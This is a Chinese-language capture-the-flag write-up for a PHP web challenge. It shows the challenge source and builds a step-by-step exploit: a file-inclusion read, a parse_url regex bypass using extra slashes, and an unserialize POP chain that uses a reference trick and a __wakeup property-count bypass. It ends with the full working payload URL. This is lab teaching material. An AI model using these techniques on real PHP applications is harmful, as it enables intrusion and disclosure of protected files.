这道题是刚好在网上看到的,感觉跟moctf里有一道PUBG,还有bugku里的一道welcome to bugkuctf都很像,但又有些区别,所以就学习学习。
参考自:https://www.anquanke.com/post/id/177039
http://www.cnblogs.com/kagari/p/10758155.html
打开题目后右键查看源码
提示需要传参数,这里存在LFI漏洞(本地文件包含),常规操作伪协议读一下源码:
index.php:
';
}
if (preg_match("/flag/", $file)) {
die('hack attacked!!!');
}
@include ($file);
if (isset($payload)) {
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'], $query);
foreach ($query as $value) {
if (preg_match("/flag/", $value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
} else {
echo "Missing parameters";
}
?>
hint.php:
$v) {
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct() {
$this->handle->getFlag();
}
}
class Flag {
public $file;
public $token;
public $token_flag;
function __construct($file) {
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1, 10000));
}
public function getFlag() {
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
}
?>
首先会对我们传入的参数调用parse_url函数进行解析,然后对我们的每个参数进行正则匹配,匹配到flag就直接退出。
这里就要用到parse_url的解析漏洞,可以查看一叶飘零师傅的文章:
https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/
我们只需要加多两条/
就可以绕过正则匹配。
分析hint.php:
分别有两个类。
(1)Handle类,里面有一个private成员和三个成员函数。
①private $handle;
②function __wakeup()
③function __construct()
④function __destruct()
(2)Flag类,里面有三个public成员和两个成员函数。
①public $file;
②public $token;
③public $token_flag;
④function __construct()
⑤function getFlag()
之后我们查看hint.php,看到
class Handle{}中引用了getFlag函数:
public function __destruct(){
$this->handle->getFlag();
}
class Flag{}中定义了getFlag函数:
public function getFlag() {
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
所以最终我们的目的就是触发getFlag函数,且传入file参数为flag.php。
显然这里考察的是反序列化,因此我们构造pop链。
1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);
2,构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>
$a = new Handle($b);
3,Handle类中的__wakeup()会把变量清空,所以我们要在反序列化之后,修改一下变量数量,将payload中O:6:"Handle":1改为O:6:"Handle":2
4,要让token===token_flag,我们可以使用引用,使token变为token_flag的引用
$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);
执行得到 O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}
Payload:
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}
还有一点要注意:s:14:"Handlehandle" 为什么长度是12,前面的值却是14呢?
这是因为当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00,因此长度为14。
类似的protect属性,则是在*前后各有一个0x00。可以自己在本地尝试一下。
0x00的url编码为%00,因此我们传参时要进行编码。
因此最终payload要加上%00。